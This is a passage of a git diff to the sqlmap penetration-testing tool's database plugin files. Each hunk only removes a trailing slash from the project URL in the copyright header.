b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 3263b6d6449..3c70e00435e 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index d14a8b24392..ce2fd0435f7 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 1d1136f1d14..96af4b7f004 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py index 755bf79b220..178b4d988b3 100644 --- a/plugins/dbms/frontbase/__init__.py +++ b/plugins/dbms/frontbase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py index 3f992a93664..492ffaaccd3 100644 --- a/plugins/dbms/frontbase/connector.py +++ b/plugins/dbms/frontbase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py index 00aab858df7..37fae7e6565 100644 --- a/plugins/dbms/frontbase/enumeration.py +++ b/plugins/dbms/frontbase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py index 10bf9652938..a04de1d93a2 100644 --- a/plugins/dbms/frontbase/filesystem.py +++ b/plugins/dbms/frontbase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py index 288d02bc3ce..c22184c22ae 100644 --- a/plugins/dbms/frontbase/fingerprint.py +++ b/plugins/dbms/frontbase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py index 46a6a2f556c..34334943d04 100644 --- a/plugins/dbms/frontbase/syntax.py +++ b/plugins/dbms/frontbase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py index e6bdd0468a0..7dec3991b0b 100644 --- a/plugins/dbms/frontbase/takeover.py +++ b/plugins/dbms/frontbase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index 948072b4dc2..97b11f9aef9 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index 26f5ee6c493..c867a4d8296 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index f1a3fae3104..4d2404f483d 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index 467ef750968..5963fb6cb75 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 35def7dd80c..524731b6b05 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index cb568cae858..d6fd8e23beb 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 5066db8ef43..1acbc576076 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index 9f82a589b6d..f00e965330b 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index d18eb3c891e..73b3aa99276 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 8d3663904e1..88d838b09d6 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index b80b2ad1a7d..b3d9934d30f 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 04f0dc79ff8..b72ed471667 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index cb568cae858..d6fd8e23beb 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index a8884674249..7926d885626 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index 909a1827615..17f1d74d755 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 96426affc93..98eb7927509 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 1032c3202e0..fd549c21718 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index 9a6a241d417..f35ca6f07e7 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index 5199140d930..5965dfcb4d9 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index 2f12d47d72f..9458522fac3 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 854cd4abc25..a91fd01da94 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 025ea06d627..1a077fc3bd0 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index da02baf829b..ceb9fd7d8dc 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index e3c0497905a..6eea0265843 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 7ebbcef6216..f054ac3a6da 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index 46a6a2f556c..34334943d04 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 4506795c4da..e9909bf27ab 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py index 1a1507594c9..0ffea48974c 100644 --- a/plugins/dbms/mckoi/__init__.py +++ b/plugins/dbms/mckoi/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py index 56963fa6431..bc92e3c9f17 100644 --- a/plugins/dbms/mckoi/connector.py +++ b/plugins/dbms/mckoi/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py index 51417e0a114..b78b8e0e7ce 100644 --- a/plugins/dbms/mckoi/enumeration.py +++ b/plugins/dbms/mckoi/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py index a49bd7eb31c..15afec5a791 100644 --- a/plugins/dbms/mckoi/filesystem.py +++ b/plugins/dbms/mckoi/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py index 7dbfbc90671..618d5f44fea 100644 --- a/plugins/dbms/mckoi/fingerprint.py +++ b/plugins/dbms/mckoi/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py index 46a6a2f556c..34334943d04 100644 --- a/plugins/dbms/mckoi/syntax.py +++ b/plugins/dbms/mckoi/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py index 9cee36cfb6b..ebf547f36b8 100644 --- a/plugins/dbms/mckoi/takeover.py +++ b/plugins/dbms/mckoi/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py index 4adcacab2ff..fea82164d13 100644 --- a/plugins/dbms/mimersql/__init__.py +++ b/plugins/dbms/mimersql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py index de1d35704a5..d87f6174d6f 100644 --- a/plugins/dbms/mimersql/connector.py +++ b/plugins/dbms/mimersql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py index 028e1fff6bb..0c443662008 100644 --- a/plugins/dbms/mimersql/enumeration.py +++ b/plugins/dbms/mimersql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/mimersql/filesystem.py +++ b/plugins/dbms/mimersql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py index 4568a2252dd..bde2646a76a 100644 --- a/plugins/dbms/mimersql/fingerprint.py +++ b/plugins/dbms/mimersql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py index 2405165b57b..754ca708ef3 100644 --- a/plugins/dbms/mimersql/syntax.py +++ b/plugins/dbms/mimersql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py index fe1c9ead20a..49fe3374ae4 100644 --- a/plugins/dbms/mimersql/takeover.py +++ b/plugins/dbms/mimersql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py index 58065eeb010..966dd1468d6 100644 --- a/plugins/dbms/monetdb/__init__.py +++ b/plugins/dbms/monetdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py index 3ee717cb929..a9b485dc779 100644 --- a/plugins/dbms/monetdb/connector.py +++ b/plugins/dbms/monetdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py index 7279d2ec809..563e349944b 100644 --- a/plugins/dbms/monetdb/enumeration.py +++ b/plugins/dbms/monetdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/monetdb/filesystem.py +++ b/plugins/dbms/monetdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index 5da9af1b8a2..138dece40f6 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py index 446be9d70be..a3acaffe7ab 100644 --- a/plugins/dbms/monetdb/syntax.py +++ b/plugins/dbms/monetdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py index 32379bb221d..77e538c7ae1 100644 --- a/plugins/dbms/monetdb/takeover.py +++ b/plugins/dbms/monetdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 50397c29a58..46f532d1ca2 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index e9f1390b033..9f8b55c42c5 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index bdf8e52818f..4b506f610c1 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index b2969108456..33cfb077cec 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 4c387e7aed8..007206c61b1 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index a53dbd86bc8..6a99e77c502 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index e7200a16074..34db66adfb7 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission 